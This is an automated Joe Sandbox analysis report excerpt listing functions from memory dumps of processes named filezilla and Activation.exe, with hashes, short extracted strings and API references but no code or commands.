Instruction ID: 9813fb2bcf37a9daef3e88b14f53115fcda7bd77624272a23740db414f04a01d
Opcode Fuzzy Hash: b98dc8abfc49e8193b9890662059d326cbe047bd615ac60801dc7c13148e626d
Instruction Fuzzy Hash: 8F41A333303E71C5FB92DF659A4436AF662B785BC4F48C525CE2907794EB798861C381

Function 663AD340 Relevance: 5.1, APIs: 4, Instructions: 59stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 663AD365
strlen.MSVCRT ref: 663AD381
strlen.MSVCRT ref: 663AD398
memcpy.MSVCRT ref: 663AD3CF

Memory Dump Source

Source File: 0000000D.00000002.2597388498.0000000066381000.00000020.00000001.01000000.00000011.sdmp, Offset: 66380000, based on PE: true

Associated: 0000000D.00000002.2597218018.0000000066380000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597614896.000000006648B000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597668113.000000006648F000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597725866.00000000664B3000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597781090.00000000664B4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597836180.00000000664B7000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597896755.00000000664BA000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_66380000_filezilla.jbxd

Similarity

API ID: strlen$memcpy
String ID:
API String ID: 3396830738-0
Opcode ID: fd7805d502b2a50143c3bf91d7ceffb5a86cb83f4ddd9c6553ec58c8c96d7891
Instruction ID: 09eea1f330a74ed39b7e2cbbef9f4db3cb18b1f4a4e0a024a36cd084a3841cff
Opcode Fuzzy Hash: fd7805d502b2a50143c3bf91d7ceffb5a86cb83f4ddd9c6553ec58c8c96d7891
Instruction Fuzzy Hash: 14018963B1471042EA058B16AC00B8A6A50EB4ABECF4943148E794BBC0EA3FD9CBD340

Analysis Process: Activation.exePID: 2044, Parent PID: 1264COMMON

Executed Functions

Function 0311DC48 Relevance: 4.0, Strings: 3, Instructions: 275COMMON

Download Yara Rule

Strings

LRq, xrefs: 0311DC6D
LRq, xrefs: 0311DCAF
0, xrefs: 0311DCF5

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID: 0$LRq$LRq
API String ID: 0-501660168
Opcode ID: 3fb79d750607c7606f05e64ac5ad539c02e9c5d710dfef5abc2fd3b6676f208a
Instruction ID: 0da554ed601fba01bea9960885a21532957952c6cf7ebc950f26e59b9c944841
Opcode Fuzzy Hash: 3fb79d750607c7606f05e64ac5ad539c02e9c5d710dfef5abc2fd3b6676f208a
Instruction Fuzzy Hash: 10C11835E00619CFCB14DF68D954BADBBB2BF8D300F1581A9E50AAB261DB31AD95CF40

Function 0311DC3A Relevance: 2.8, Strings: 2, Instructions: 258COMMON

Download Yara Rule

Strings

LRq, xrefs: 0311DC6D
LRq, xrefs: 0311DCAF

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID: LRq$LRq
API String ID: 0-3710822783
Opcode ID: 692a22cd37bd19ae7ccf55feb83e066127d779442198bf03bec6d58f14df1792
Instruction ID: 6d7ce0feea649bbd4b25e4dc6992ce5e28dafa13d0964295b8f0c7991d31cc75
Opcode Fuzzy Hash: 692a22cd37bd19ae7ccf55feb83e066127d779442198bf03bec6d58f14df1792
Instruction Fuzzy Hash: 31B12A35E00619DFCB14DF68D950BADBBB2BF8D300F1581A9E44AAB261DB31AD95CF40

Function 0311A642 Relevance: .6, Instructions: 609COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b62aab320df440a540940c4cef87875c23419f237efaa11939fbb458b4e8de03
Instruction ID: 8df9391e702f81a09fe55515496265f52e874485db45e789c998123e6841db06
Opcode Fuzzy Hash: b62aab320df440a540940c4cef87875c23419f237efaa11939fbb458b4e8de03
Instruction Fuzzy Hash: C0322930B023158FDB69DB39D8547AABBE6AF88305F2584B9D40ADB354EF71D891CB40

Function 03113818 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5889eedda751c3f92236202906a0b7ac795e609fd243fa6907007cf49ec3e595
Instruction ID: 16c39b36013e7c763cfea795a31c5177d7d64368ba6e7ac2ea9733a42b550219
Opcode Fuzzy Hash: 5889eedda751c3f92236202906a0b7ac795e609fd243fa6907007cf49ec3e595
Instruction Fuzzy Hash: 35B18E74E002498FDB14CFA9C8857DEFBF2AF8C310F188539D825AB258EB749856CB41

Function 031140E8 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0dc18a8c51d63d54d84910fad9859fecda0af5c5e3ef2883bfb91f01cf08075d
Instruction ID: 2e6edb05885a6f35b4a706051752d09e6384e004a735e8f85b0d9f5eec4a5e15
Opcode Fuzzy Hash: 0dc18a8c51d63d54d84910fad9859fecda0af5c5e3ef2883bfb91f01cf08075d
Instruction Fuzzy Hash: 65B14D70E002198FDB14CFAAD8817DEFBF2AF8C714F188539D815AB254EB749895CB81

Function 03117E48 Relevance: 10.2, Strings: 8, Instructions: 220COMMON

Download Yara Rule

Strings

$q, xrefs: 03117F3C
$q, xrefs: 03117F88
$q, xrefs: 03118090
$q, xrefs: 03117EEC
$q, xrefs: 031180A0
$q, xrefs: 03117F4C
$q, xrefs: 03117F78
$q, xrefs: 03117EFC

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID: $q$$q$$q$$q$$q$$q$$q$$q
API String ID: 0-3886557441
Opcode ID: b6dee02bc89802defebf033324a6dc052218377ff70510853806dcb1d15eae83
Instruction ID: 068632120d381e5f3d85199f329987e3bde20e5d0e59329087310aa71ac46e80
Opcode Fuzzy Hash: b6dee02bc89802defebf033324a6dc052218377ff70510853806dcb1d15eae83
Instruction Fuzzy Hash: 84819031B002098FCB18DFA8D8506AEB7F6FF89300F698569D416AB344DF70AC56CB91

Function 03110C9A Relevance: 5.4, Strings: 4, Instructions: 367COMMON

Download Yara Rule

Strings

b, xrefs: 03110FD8
kh, xrefs: 03111098
g, xrefs: 0311104D
Teq, xrefs: 03110F33

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID: Teq$kh$b$g
API String ID: 0-972974163
Opcode ID: ef4076cda42e05344418863f39d15842e51ef32341bb5b01dc9009812112f053
Instruction ID: 847751ebfb78dfd138622b7dd46f16b3f2b3a27abda98b3d199dbf98c2cdc810
Opcode Fuzzy Hash: ef4076cda42e05344418863f39d15842e51ef32341bb5b01dc9009812112f053
Instruction Fuzzy Hash: 0BD1C472D093915FD702CB3898A47D97FB19F5A214F4A40EBD481DF2A3EA348C4ACB91

Function 0311E110 Relevance: 5.3, Strings: 4, Instructions: 338COMMON

Download Yara Rule

Strings

(q, xrefs: 0311E3F8
(q, xrefs: 0311E362
(q, xrefs: 0311E3AD
xX)s<1, xrefs: 0311E34F, 0311E373, 0311E39A, 0311E3BE, 0311E3E5, 0311E409

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID: (q$(q$(q$xX)s<1
API String ID: 0-586646449
Opcode ID: bf5dfa9e684590c839b810b034c51675e4b4a38d5da04d77c4433f72638ba5e1
Instruction ID: c8c0c82f118a763bceb62d99317aeea49c22cc2a13b1db43784a9d473adf1e8f
Opcode Fuzzy Hash: bf5dfa9e684590c839b810b034c51675e4b4a38d5da04d77c4433f72638ba5e1
Instruction Fuzzy Hash: 7DC19035B006058FDB14DFA9D450A6EBBF7EF88300B1885A9E54A8B765DB34EC058B91

Function 03110F18 Relevance: 5.1, Strings: 4, Instructions: 137COMMON

Download Yara Rule

Strings

b, xrefs: 03110FD8
kh, xrefs: 03111098
g, xrefs: 0311104D
Teq, xrefs: 03110F33

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID: Teq$kh$b$g
API String ID: 0-972974163
Opcode ID: 7641ef4a322b6f1c116163e652a44d604c22e5af3edfbc72a5ca454a86dcd5d2
Instruction ID: f4b3f3fefd82cffb72683615776682eb817190dac2e5638709cc6e742b5460ed
Opcode Fuzzy Hash: 7641ef4a322b6f1c116163e652a44d604c22e5af3edfbc72a5ca454a86dcd5d2
Instruction Fuzzy Hash: 78518A70A003059FDB54DB69D894AAEBBE6EF8C310F5489A9E516EB340DF74AC44CF90

Function 031183B8 Relevance: 4.2, Strings: 3, Instructions: 447COMMON

Download Yara Rule

Strings

,, xrefs: 03118470
4<Vt, xrefs: 031188C0
tq, xrefs: 03118773

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID: ,$4<Vt$tq
API String ID: 0-1077027781
Opcode ID: ad9d4fe2c369248813dae37dd49b125d89428f0b96dee6071d4f39d8744fc559
Instruction ID: 2e3b4a98b61c50cf7a7b52942f706992418a75c8baf242490a3ad9baedafec1b
Opcode Fuzzy Hash: ad9d4fe2c369248813dae37dd49b125d89428f0b96dee6071d4f39d8744fc559
Instruction Fuzzy Hash: 0BF19B31B002098FDB14DB68D494BAEBBF6EF88300F28C5A9D4469B395DF759C46CB91

Function 03116828 Relevance: 3.9, Strings: 3, Instructions: 169COMMON

Download Yara Rule

Strings

(q, xrefs: 0311697E
(q, xrefs: 031169AA
(q, xrefs: 031169D6

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID: (q$(q$(q
API String ID: 0-2103260149
Opcode ID: b5392464c5c7a8a029811912f894a7cfd5551bb3814eda3a33ac93a812ca6a22
Instruction ID: 39f532fadabc4c6afacf12aebdea714f04b3e3e38735160943bdc4d4570541ab
Opcode Fuzzy Hash: b5392464c5c7a8a029811912f894a7cfd5551bb3814eda3a33ac93a812ca6a22
Instruction Fuzzy Hash: 80519B30B042548FDB44DF68D4A47ADBBF2AF8E310B1884A9D84AEB395DB759C02CB51

Function 03118660 Relevance: 2.7, Strings: 2, Instructions: 213COMMON

Download Yara Rule

Strings

4<Vt, xrefs: 031188C0
tq, xrefs: 03118773

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID: 4<Vt$tq
API String ID: 0-2171405849
Opcode ID: efb2791c9492ff9fb06d6208ef4c6d93c76bd24be5bdd9266c1798bf5f34ef93
Instruction ID: bef320605f40d8c47e4c6cd0f94461e8c4a95b30944c4e2f5b79906a664d00f3
Opcode Fuzzy Hash: efb2791c9492ff9fb06d6208ef4c6d93c76bd24be5bdd9266c1798bf5f34ef93
Instruction Fuzzy Hash: 87719D30B002089BDB08EB69D490BAEB7E7AFC9300B24C96DD5469B395DF759C468B91

Function 03118961 Relevance: 2.7, Strings: 2, Instructions: 177COMMON

Download Yara Rule

Strings

4<Vt, xrefs: 031188C0
tq, xrefs: 03118773

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID: 4<Vt$tq
API String ID: 0-2171405849
Opcode ID: 1459f9d7692386e2b7983fcd4c2104f6efffb3ad79ad3a1cc5a0923a3a15b70a
Instruction ID: 5a58533d0aaf100482b0b31b43f1f4e84a1bf2ac349e187b5e550bca229eb103
Opcode Fuzzy Hash: 1459f9d7692386e2b7983fcd4c2104f6efffb3ad79ad3a1cc5a0923a3a15b70a
Instruction Fuzzy Hash: E4618E30B002098FDB08EB69D4947AEB6E3AFC9300F24C97CD5469B395DF759C468B81

Function 0311C1D7 Relevance: 1.8, Strings: 1, Instructions: 562COMMON

Download Yara Rule

Strings

d, xrefs: 0311C2C0

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: 407787ccddc487da06d4e4ca9ef3568466ddc1c21dee63bc5051c87d1a9da073
Instruction ID: 90138d0365ecf890e6e41f4949dafa684bb9405d94988052de68b30ac44ec693
Opcode Fuzzy Hash: 407787ccddc487da06d4e4ca9ef3568466ddc1c21dee63bc5051c87d1a9da073
Instruction Fuzzy Hash: 2332F874A002188FDB14CF58C494AADFBF6FF88314F59C669D44AAB265CB30ED95CB84

Function 03119090 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

`q, xrefs: 031192CF

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID: `q
API String ID: 0-3774798103
Opcode ID: 8cd01f76b67be2d1aed2c0b0a6be74a29f07436d2d56f9384218090ba34f6ac0
Instruction ID: 0b13dac938ff53f0fcdd1894675d81b86f3853e6ad9eabcf19c9c1926f085aa4
Opcode Fuzzy Hash: 8cd01f76b67be2d1aed2c0b0a6be74a29f07436d2d56f9384218090ba34f6ac0
Instruction Fuzzy Hash: 4032F574A002198FDB64DF68D890BAEBBF6EB8C300F5085A9D44AE7355DB34AD85CF50

Function 03119082 Relevance: 1.8, Strings: 1, Instructions: 522COMMON

Download Yara Rule

Strings

`q, xrefs: 031192CF

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID: `q
API String ID: 0-3774798103
Opcode ID: 6265869c2b1615e6a974596d8c574cbb21763e8d81cd7d3ad9876b16f0f5c4d3
Instruction ID: a407239918e557b9fff79b7255b2f17c16de6d904b8ad633999740ac19840440
Opcode Fuzzy Hash: 6265869c2b1615e6a974596d8c574cbb21763e8d81cd7d3ad9876b16f0f5c4d3
Instruction Fuzzy Hash: 0532F774A002198FCB64DF68D890BAEBBF6FB8D300F5085A9D44AA7355DB34AD85CF50

Function 0311997F Relevance: 1.8, Strings: 1, Instructions: 515COMMON

Download Yara Rule

Strings

`q, xrefs: 031192CF

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID: `q
API String ID: 0-3774798103
Opcode ID: 616726eb4919a3cd1a95c9bf824f5fcf25e9995388ab1242fd054085f68206de
Instruction ID: fb4097944ab8b63e32913f82f6c611172fc0cb6735b5cdc662f1c7270b5c0e13
Opcode Fuzzy Hash: 616726eb4919a3cd1a95c9bf824f5fcf25e9995388ab1242fd054085f68206de
Instruction Fuzzy Hash: 7F32E674A002198FDB94DF28D890BAEBBF6EB8D301F5084A9D44AE7355DB34AD85CF50

Function 03119949 Relevance: 1.7, Strings: 1, Instructions: 434COMMON

Download Yara Rule

Strings

`q, xrefs: 031192CF

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID: `q
API String ID: 0-3774798103
Opcode ID: b1370e2fa8da89a3b063f94d67510f722ba648873339a9d6bb325eb903a97ced
Instruction ID: 372a7136463dae98318e3cf773c50c6aff37796c5a498aa6a867f92592b19120
Opcode Fuzzy Hash: b1370e2fa8da89a3b063f94d67510f722ba648873339a9d6bb325eb903a97ced
Instruction Fuzzy Hash: 1812E774B002198FCB54DF29D890BAEBBF6EB8C300F5084A9D54AAB355DB34AD95CF50

Function 0311F328 Relevance: 1.5, Strings: 1, Instructions: 201COMMON

Download Yara Rule

Strings

4<Vt, xrefs: 0311F345

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID: 4<Vt
API String ID: 0-3371557865
Opcode ID: fd0d1852f023861eae3cd8a4a283d40020c097759f80e8afc8d8d011c75bddac
Instruction ID: 7a29e315044b22384ee37a8f3542e57efa3d691f979753c02169e049fa35dfad
Opcode Fuzzy Hash: fd0d1852f023861eae3cd8a4a283d40020c097759f80e8afc8d8d011c75bddac
Instruction Fuzzy Hash: E5617E31B002458FD745EB78D85476EBBF2AF89214B2884AAD05ACB3A5DF35DD43CB90

Function 03117322 Relevance: 1.4, Strings: 1, Instructions: 178COMMON

Download Yara Rule

Strings

# , xrefs: 031174DD

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1643561781
Opcode ID: e0524ded613d86cd8ae3fc29e3747d35c26a58c06f1ce2dc3be6091c9c84475d
Instruction ID: 9647fa07b127451ff9185c1790d45b13fa46cde59956ad886bd66ab194fe4d88
Opcode Fuzzy Hash: e0524ded613d86cd8ae3fc29e3747d35c26a58c06f1ce2dc3be6091c9c84475d
Instruction Fuzzy Hash: A751FC716093854FDB02CB78D8506AA7FB6DF8B210B0985EAC885DF353EB789C05CB91

Function 0311CF58 Relevance: 1.4, Strings: 1, Instructions: 152COMMON

Download Yara Rule

Strings

(q, xrefs: 0311CF9F

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID: (q
API String ID: 0-2414175341
Opcode ID: eab5111f1bfc6b0ac470551fb0381e0472c2c17136fbef940520d636d60d477a
Instruction ID: 4320be49fa3762c904c872ccbfd042a8e6610a2a4c1ee33fbf6453b136f4910e
Opcode Fuzzy Hash: eab5111f1bfc6b0ac470551fb0381e0472c2c17136fbef940520d636d60d477a
Instruction Fuzzy Hash: 68518E30E002198FDB04DFA9D454BEEBBF2AF89310F2985AAD416BB244DB315D55CFA1

Function 031173B2 Relevance: 1.4, Strings: 1, Instructions: 132COMMON

Download Yara Rule

Strings

# , xrefs: 031174DD

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1643561781
Opcode ID: 36a5ba2d763a51fbbe88d69c570f36554a9fdb6ef94935aa28cac3826ad858e4
Instruction ID: 5c3f4a606c5e7e888481144f2ff64e6361f120d2b3c664d9a5df9d3e8989e18e
Opcode Fuzzy Hash: 36a5ba2d763a51fbbe88d69c570f36554a9fdb6ef94935aa28cac3826ad858e4
Instruction Fuzzy Hash: 3841C630B043018FDB02DB68D89066E7BF6EFCA204B59C4AAC845DF352EB74DC058B91

Function 031173E0 Relevance: 1.4, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

# , xrefs: 031174DD

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1643561781
Opcode ID: 03914a34ff9c6cd8ca4e66d6f049fc610d263c840d62449da90f77aa407a524c
Instruction ID: 9f5d575230c4d3252204f40970443163bca0c9b26acffa84ec1c78993db64050
Opcode Fuzzy Hash: 03914a34ff9c6cd8ca4e66d6f049fc610d263c840d62449da90f77aa407a524c
Instruction Fuzzy Hash: 80418970B002028BDB01DB68D8806AEB7EAEFC9204B54C479D84AEB351EF78DC058FD1

Function 0311E723 Relevance: 1.4, Strings: 1, Instructions: 103COMMON

Download Yara Rule

Strings

#*, xrefs: 0311E818

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID: #*
API String ID: 0-2166565419
Opcode ID: f0a70829c56fba308e849599c2e7e4a21a9462384d0c3cb75b1ebec0b690b801
Instruction ID: 93602e8a47204c5ca178df757f1107d63729ec23a9d49ee2bcbf459e11c82400
Opcode Fuzzy Hash: f0a70829c56fba308e849599c2e7e4a21a9462384d0c3cb75b1ebec0b690b801
Instruction Fuzzy Hash: 02318575B002058FDB04DBA8E9406AEB3E6FF89310B54C57AD51ADB301DB71ED16CBA1

Function 03119A80 Relevance: 1.4, Strings: 1, Instructions: 101COMMON

Download Yara Rule

Strings

tq, xrefs: 03119B07

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID: tq
API String ID: 0-2372698852
Opcode ID: e8bdd5ae54aee7bab9bb5010fe0dad2fe52d17421d14ba3a9df0fbae19fcdd71
Instruction ID: 4f93a621ba0bac2fd792bb291b464ee1d9b5637d14672f5096ed08b70b4449ea
Opcode Fuzzy Hash: e8bdd5ae54aee7bab9bb5010fe0dad2fe52d17421d14ba3a9df0fbae19fcdd71
Instruction Fuzzy Hash: CE41CB30B002089BCB08DB28D9A4BAEB7E6FF89704F15856DD406AB340DF759C02CBC5

Function 03110A08 Relevance: 1.3, Strings: 1, Instructions: 98COMMON

Download Yara Rule

Strings

LRq, xrefs: 03110A19

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID: LRq
API String ID: 0-3187445251
Opcode ID: c2adbd8152318943cbd15a79c4600e5455d413e5438f3d3d511adb1e9ce74647
Instruction ID: 109a93971e7b0d989cb3c9a4401777a533154474b56ea3a022517a9fed0f2737
Opcode Fuzzy Hash: c2adbd8152318943cbd15a79c4600e5455d413e5438f3d3d511adb1e9ce74647
Instruction Fuzzy Hash: BB31E770B043158FD705DB69D890BBEBBB6FF89310F1484A9E0469B291CB70AC91C7A1

Function 03119A70 Relevance: 1.3, Strings: 1, Instructions: 98COMMON

Download Yara Rule

Strings

tq, xrefs: 03119B07

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID: tq
API String ID: 0-2372698852
Opcode ID: bd833e04651cab8d915aa46b619ba33070df6c733bf62c730937136025871012
Instruction ID: 162c7ffd1c9fa6466b139c2aa11b19d3af821ab45534df2340bf7f74d9dda8e4
Opcode Fuzzy Hash: bd833e04651cab8d915aa46b619ba33070df6c733bf62c730937136025871012
Instruction Fuzzy Hash: C631BD30A002049FDB04CB28D8A1BAEB7F6FF8A704F188569D44AAB344DF759C02CBC5

Function 0311E930 Relevance: 1.3, Strings: 1, Instructions: 86COMMON

Download Yara Rule

Strings

`q, xrefs: 0311E95B

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID: `q
API String ID: 0-3774798103
Opcode ID: 878d9eb617b97cb1bdb35dfc5f8a4923a1537c03bf4c712a39e971305e37adc6
Instruction ID: fe41678c86c5ad484f17490c002fd9222cb5abf57ad4ac338d31992a482852da
Opcode Fuzzy Hash: 878d9eb617b97cb1bdb35dfc5f8a4923a1537c03bf4c712a39e971305e37adc6
Instruction Fuzzy Hash: 4921F4367502404BCB05E7B8E8102AE77E6DFC9261B0984BAD50ADF395EF35DC118790

Function 03119BDA Relevance: 1.3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

Strings

tq, xrefs: 03119B07

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID: tq
API String ID: 0-2372698852
Opcode ID: c8c0814c1bace53d112e696228f341ae2dd1f0615e1d56bebcabddb93e74ce61
Instruction ID: 191682a687175afa6bf1df7ad89114ad2e8f5a82308b9ad0f114aa68f8a4ce97
Opcode Fuzzy Hash: c8c0814c1bace53d112e696228f341ae2dd1f0615e1d56bebcabddb93e74ce61
Instruction Fuzzy Hash: 94216430B00219DFDB04CB64E8A5BEEB7B2FF89309F158569D416AB280DB759812CBD4

Function 031111B0 Relevance: 1.3, Strings: 1, Instructions: 69COMMON

Download Yara Rule

Strings

=, xrefs: 03111285

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID: =
API String ID: 0-575803426
Opcode ID: ef4795a877d7b3c15b942949b28176e173ce491f0fabe120b694314777bcb868
Instruction ID: 9a0acc622cb7f1c5773d7ac5d29c5fb119908bc852ad5ba16af6ed2e3fdb3798
Opcode Fuzzy Hash: ef4795a877d7b3c15b942949b28176e173ce491f0fabe120b694314777bcb868
Instruction Fuzzy Hash: 7811D535B007844BC645E738F5506BE3B97EBCE711B4450ADC0468F249DF349C46CB9A

Function 03118B10 Relevance: 1.3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

Strings

Teq, xrefs: 03118B98

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID: Teq
API String ID: 0-1098410595
Opcode ID: 0d16f45f04791f89bfa02906eada01d69cab2e2749d46638435de9322118dccf
Instruction ID: c7ee14a64482ce7db17d7858246743274aa4e8ce1be2b0d9f1d168052205de4e
Opcode Fuzzy Hash: 0d16f45f04791f89bfa02906eada01d69cab2e2749d46638435de9322118dccf
Instruction Fuzzy Hash: BC21CD74A40204DFCB14DB64D898FEEBB71BF89714F1982A8E40A9B295CB309C12CB90

Function 031111C0 Relevance: 1.3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

Strings

=, xrefs: 03111285

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

